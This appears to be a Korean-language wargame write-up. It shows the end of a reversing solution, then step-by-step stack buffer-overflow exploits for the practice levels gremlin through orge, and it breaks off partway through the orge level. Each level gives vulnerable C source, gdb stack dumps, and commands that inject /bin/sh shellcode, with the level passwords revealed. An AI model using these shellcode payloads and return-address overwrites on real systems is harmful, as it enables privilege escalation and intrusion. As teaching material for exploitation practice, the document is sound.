*((_BYTE *)&String + v7++) = v12;
v10 += v9;
result = strlen(v16);
}
while ( v7 < result );
}
result return;
}
Immunity Debugger¶
Immunity Debugger에 time64와 localtime64_s 함수를 브레이킹 포인트를 걸고 실행을 하면 다음 어셈블리 코드 부분에서 멈추게 됩니다.

step over로 계속 진행하다보면 SetWindowText 부분에 특정 문자열이 나오는데 해당 값을 입력하면 정답이 출력됩니다.

PWNABLE¶
[redhat-lob] (1) gremlin¶
![digraph foo {
a -> b -> c -> d -> e;
a [shape=box, label="dummy * 260 + envp address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="envp address"];
e [shape=box, label="dummy * 100 + shellcode"];
}](_images/graphviz-5453f0542199a612d63e63c3a95cae8e78e44b02.png)
Source code¶
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./gremlin `python -c "print 'a'*256"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa
$ ./gremlin `python -c "print 'a'*260"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaa
Segmentation fault
exploit¶
환경 변수 상에 쉘코드 등록¶
환경 변수에 쉘코드를 등록해두고, 입력값 마지막 리턴 주소를 환경 변수 주소로 변경하여 해당 쉘코드를 실행하도록 한다.
$ export shellcode=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경 변수 주소 값 확인¶
다음과 같이 소스코드를 작성하여 shellcode 환경 변수에 대한 주소 값을 획득.
#include <stdio.h>
int main(int argc, char **argv)
{
char *addr;
addr = getenv(argv[1]);
printf("address %p\n", addr);
return 0;
}
$ gcc -o get get.c
get.c: In function `main':
get.c:5: warning: assignment makes pointer from integer without a cast
$ ./get shellcode
address 0xbffffc4c
환경 변수 주소 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers ->> shellcode
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.
$ ./gremlin `python -c 'print "\x90"*260+"\x4c\xfc\xff\xbf"'`
bash$ whoami
gremlin
bash$ my-pass
euid = 501
hello bof world
[redhat-lob] (2) cobolt¶
![digraph foo {
a -> b -> c -> d -> e;
a [shape=box, label="dummy * 20 + envp address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="envp address"];
e [shape=box, label="dummy * 100 + shellcode"];
}](_images/graphviz-e20fad228d8bf169cf6517ae76c9bbf253b48135.png)
Source Code¶
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./cobolt `python -c "print 'a'*16"`
aaaaaaaaaaaaaaaa
$ ./cobolt `python -c "print 'a'*20"`
aaaaaaaaaaaaaaaaaaaa
Segmentation fault
exploit¶
환경 변수 상에 쉘코드 등록¶
환경 변수에 쉘코드를 등록해두고, 입력값 마지막 리턴 주소를 환경 변수 주소로 변경하여 해당 쉘코드를 실행하도록 한다.
$ export shellcode=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경 변수 주소값 확인¶
다음과 같이 소스코드를 작성하여 shellcode 환경 변수에 대한 주소 값을 획득.
#include <stdio.h>
int main(int argc, char **argv)
{
char *addr;
addr = getenv(argv[1]);
printf("address %p\n", addr);
return 0;
}
$ gcc -o get get.c
get.c: In function `main':
get.c:5: warning: assignment makes pointer from integer without a cast
$ ./get shellcode
address 0xbfffff01
환경 변수 주소 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers ->> shellcode
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.
$ ./cobolt `python -c 'print "\x90"*20+"\x01\xff\xff\xbf"'`
bash$ whoami
cobolt
bash$ my-pass
euid = 502
hacking exposed
[redhat-lob] (3) goblin¶
![digraph foo {
a -> b -> c -> d -> e;
a [shape=box, label="dummy * 20 + envp address"];
b [shape=box, color=lightblue, label="gets"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="envp address"];
e [shape=box, label="dummy * 100 + shellcode"];
}](_images/graphviz-47b8de5a905fe57ca94eb7b427e06c6226b4e434.png)
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./goblin
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
$ ./goblin
aaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa
Segmentation fault
exploit¶
환경 변수 상에 쉘코드 등록¶
환경 변수에 쉘코드를 등록해두고, 입력값 마지막 리턴 주소를 환경 변수 주소로 변경하여 해당 쉘코드를 실행하도록 한다.
$ export shellcode=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경 변수 주소값 확인¶
다음과 같이 소스코드를 작성하여 shellcode 환경 변수에 대한 주소 값을 획득.
#include <stdio.h>
int main(int argc, char **argv)
{
char *addr;
addr = getenv(argv[1]);
printf("address %p\n", addr);
return 0;
}
$ gcc -o get get.c
get.c: In function `main':
get.c:6: warning: assignment makes pointer from integer without a cast
$ ./get shellcode
address 0xbfffff02
환경 변수 주소 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers ->> shellcode
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.
gets의 경우 프로그램 실행 이후 값이 입력되어야 하기 때문에 다음 형식으로 변수를 입력합니다.
$ (python -c 'print "a"*20+"\x01\xff\xff\xbf"';cat) |./goblin
aaaaaaaaaaaaaaaaaaaa▒▒▒
whoami
goblin
my-pass
euid = 503
hackers proof
[redhat-lob] (4) orc¶
![digraph foo {
a -> b -> c -> d -> a;
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="(argv[1] address+4*i)"];
}](_images/graphviz-ae35d2ff7adb08c8414c2f1a50d24408cb2cea9a.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\xbf"이어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./orc `python -c 'print "a"*47'`
stack is still your friend.
$ ./orc `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
argv[1]이 저장되는 주소 확인¶
앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb)
Note: breakpoint 1 also set at pc 0x8048500.
Breakpoint 2 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/goblin/orc1 `python -c 'print "a"*47+"\xbf"'`
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffffaf8 -1073743112
(gdb) i reg $ebp
ebp 0xbffffb18 -1073743080
(gdb) x/100x $esp
==========================================================================
0xbffffaf8: 0xbffffb18 0x400309cb 0x00000002 0xbffffb44
0xbffffb08: 0xbffffb50 0x40013868 0x00000002 0x08048450
0xbffffb18: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffb28: 0xbffffb44 0x08048390 0x0804860c 0x4000ae60
0xbffffb38: 0xbffffb3c 0x40013e90 0x00000002 0xbffffc37
0xbffffb48: 0xbffffc49 0x00000000 0xbffffc7a 0xbffffc9c
0xbffffb58: 0xbffffca6 0xbffffcb4 0xbffffcd3 0xbffffce2
0xbffffb68: 0xbffffcfb 0xbffffd17 0xbffffd36 0xbffffd41
0xbffffb78: 0xbffffd4f 0xbffffd91 0xbffffda3 0xbffffdb8
0xbffffb88: 0xbffffdc8 0xbffffdd4 0xbffffdf2 0xbffffdfd
0xbffffb98: 0xbffffe0e 0xbffffe1f 0xbffffe27 0x00000000
0xbffffba8: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffbb8: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffbc8: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffbd8: 0x00000009 0x08048450 0x0000000b 0x000001f7
0xbffffbe8: 0x0000000c 0x000001f7 0x0000000d 0x000001f7
0xbffffbf8: 0x0000000e 0x000001f7 0x00000010 0x0fabfbff
0xbffffc08: 0x0000000f 0xbffffc32 0x00000000 0x00000000
0xbffffc18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc28: 0x00000000 0x00000000 0x36690000 0x2f003638
0xbffffc38: 0x656d6f68 0x626f672f 0x2f6e696c 0x3163726f
0xbffffc48: 0x61616100 0x61616161 0x61616161 0x61616161
^ ^ ^ argv[1] = 0xbffffc51
0xbffffc58: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc68: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc78: 0x454c00bf 0x504f5353 0x7c3d4e45 0x7273752f
==========================================================================
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./orc `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x4c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀L▒▒▒
Segmentation fault
$ ./orc `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x51\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀Q▒▒▒
bash$ whoami
orc
bash$ my-pass
euid = 504
cantata
[redhat-lob] (5) wolfman¶
![digraph foo {
a -> b -> c -> d -> a;
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="(argv[1] address+4*i)"];
}](_images/graphviz-ae35d2ff7adb08c8414c2f1a50d24408cb2cea9a.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\xbf"이어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./wolfman `python -c 'print "a"*47'`
stack is still your friend.
$ ./wolfman `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
argv[1]이 저장되는 주소 확인¶
앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/orc/wolfman1 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffffae8 -1073743128
(gdb) i reg $ebp
ebp 0xbffffb08 -1073743096
(gdb) x/100x $esp
==========================================================================
0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34
0xbffffaf8: 0xbffffb40 0x40013868 0x00000002 0x08048450
0xbffffb08: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffb18: 0xbffffb34 0x08048390 0x0804861c 0x4000ae60
0xbffffb28: 0xbffffb2c 0x40013e90 0x00000002 0xbffffc2e
0xbffffb38: 0xbffffc43 0x00000000 0xbffffc74 0xbffffc96
0xbffffb48: 0xbffffca0 0xbffffcae 0xbffffccd 0xbffffcd9
0xbffffb58: 0xbffffcf2 0xbffffd0e 0xbffffd2d 0xbffffd38
0xbffffb68: 0xbffffd46 0xbffffd88 0xbffffd97 0xbffffdac
0xbffffb78: 0xbffffdbc 0xbffffdc5 0xbffffde3 0xbffffdee
0xbffffb88: 0xbffffdff 0xbffffe0d 0xbffffe1c 0xbffffe24
0xbffffb98: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffba8: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffbb8: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffbc8: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffbd8: 0x000001f8 0x0000000c 0x000001f8 0x0000000d
0xbffffbe8: 0x000001f8 0x0000000e 0x000001f8 0x00000010
0xbffffbf8: 0x0fabfbff 0x0000000f 0xbffffc29 0x00000000
0xbffffc08: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc28: 0x38366900 0x682f0036 0x2f656d6f 0x2f63726f
0xbffffc38: 0x6f772f2e 0x616d666c 0x6100336e 0x61616161
^ ^
0xbffffc48: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ argv[1] = 0xbffffc53
0xbffffc58: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc68: 0x61616161 0x61616161 0x00bf6161 0x5353454c
==========================================================================
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1] 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀L▒▒▒
Segmentation fault
$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x53\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀S▒▒▒
bash$ whoami
wolfman
bash$ my-pass
euid = 505
love eyuna
[redhat-lob] (6) darkelf¶
![digraph foo {
a -> b -> c -> d -> a;
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="(argv[1] address+4*i)"];
}](_images/graphviz-ae35d2ff7adb08c8414c2f1a50d24408cb2cea9a.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\xbf"이어야 함
- argv[1]의 길이가 47이하 이어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./darkelf `python -c 'print "a"*47'`
stack is still your friend.
$ ./darkelf `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
argv[1]이 저장되는 주소 확인¶
앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffffad8 -1073743144
(gdb) i reg $ebp
ebp 0xbffffaf8 -1073743112
(gdb) x/100x $esp
==========================================================================
0xbffffad8: 0xbffffaf8 0x400309cb 0x00000002 0xbffffb24
0xbffffae8: 0xbffffb30 0x40013868 0x00000002 0x08048450
0xbffffaf8: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffb08: 0xbffffb24 0x08048390 0x0804864c 0x4000ae60
0xbffffb18: 0xbffffb1c 0x40013e90 0x00000002 0xbffffc1a
0xbffffb28: 0xbffffc31 0x00000000 0xbffffc62 0xbffffc84
0xbffffb38: 0xbffffc8e 0xbffffc9c 0xbffffcbb 0xbffffccb
0xbffffb48: 0xbffffce4 0xbffffd00 0xbffffd1f 0xbffffd2a
0xbffffb58: 0xbffffd38 0xbffffd7a 0xbffffd8d 0xbffffda2
0xbffffb68: 0xbffffdb2 0xbffffdbf 0xbffffddd 0xbffffde8
0xbffffb78: 0xbffffdf9 0xbffffe0b 0xbffffe1a 0xbffffe22
0xbffffb88: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffb98: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffba8: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffbb8: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffbc8: 0x000001f9 0x0000000c 0x000001f9 0x0000000d
0xbffffbd8: 0x000001f9 0x0000000e 0x000001f9 0x00000010
0xbffffbe8: 0x0fabfbff 0x0000000f 0xbffffc15 0x00000000
0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc08: 0x00000000 0x00000000 0x00000000 0x38366900
0xbffffc18: 0x682f0036 0x2f656d6f 0x666c6f77 0x2f6e616d
0xbffffc28: 0x6b726164 0x32666c65 0x61616100 0x61616161
^ ^
0xbffffc38: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ argv[1] = 0xbffffc41
0xbffffc48: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc58: 0x61616161 0x61616161 0x454c00bf 0x504f5353
==========================================================================
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1]의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x41\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀A▒▒▒
bash$ whoami
darkelf
bash$ my-pass
euid = 506
kernel crashed
[redhat-lob] (7) orge¶
![digraph foo {
a -> b -> c -> d -> a;
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="(argv[1] address+4*i)"];
}](_images/graphviz-ae35d2ff7adb08c8414c2f1a50d24408cb2cea9a.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[0]의 길이가 77이어야 함
- argv[1]의 47번째 문자열이 "\xbf"이어야 함
- argv[1]의 길이가 47이하 이어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./orge `python -c 'print "a"*47'`
argv[0] error
$ ./orge `python -c 'print "a"*47+"\xbf"'`
argv[0] error
이번 문제는 argv[0]의 길이가 77 바이트를 만족해야 버퍼오버플로우를 진행할 수 있다. 77바이트의 길이를 가진 파일을 하나 생성하여 ln 명령으로 링크를 걸어준다. ( 앞에 "./"가 있으므로 75바이트를 생성하면 된다. )
$ ln orge `python -c 'print "a"*75'`
$ ls
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa orge orge.c
$ ./`python -c 'print "a"*75'` a
stack is still your friend.
exploit¶
기존 문제들의 경우 실행 파일명(argv[0])의 길이에 대한 제한이 없었으나, 해당 문제는 실행 파일명의 길이가 77으로 제한되어 있어 해당 부분을 우회하여야 한다.
argv[1]이 저장되는 주소 확인¶
앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/darkelf/./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffffa48 -1073743288
(gdb) i reg $ebp
ebp 0xbffffa68 -1073743256
(gdb) x/100x $esp
==========================================================================
0xbffffa48: 0xbffffa68 0x400309cb 0x00000002 0xbffffa94
0xbffffa58: 0xbffffaa0 0x40013868 0x00000002 0x08048450
0xbffffa68: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffa78: 0xbffffa94 0x08048390 0x0804866c 0x4000ae60
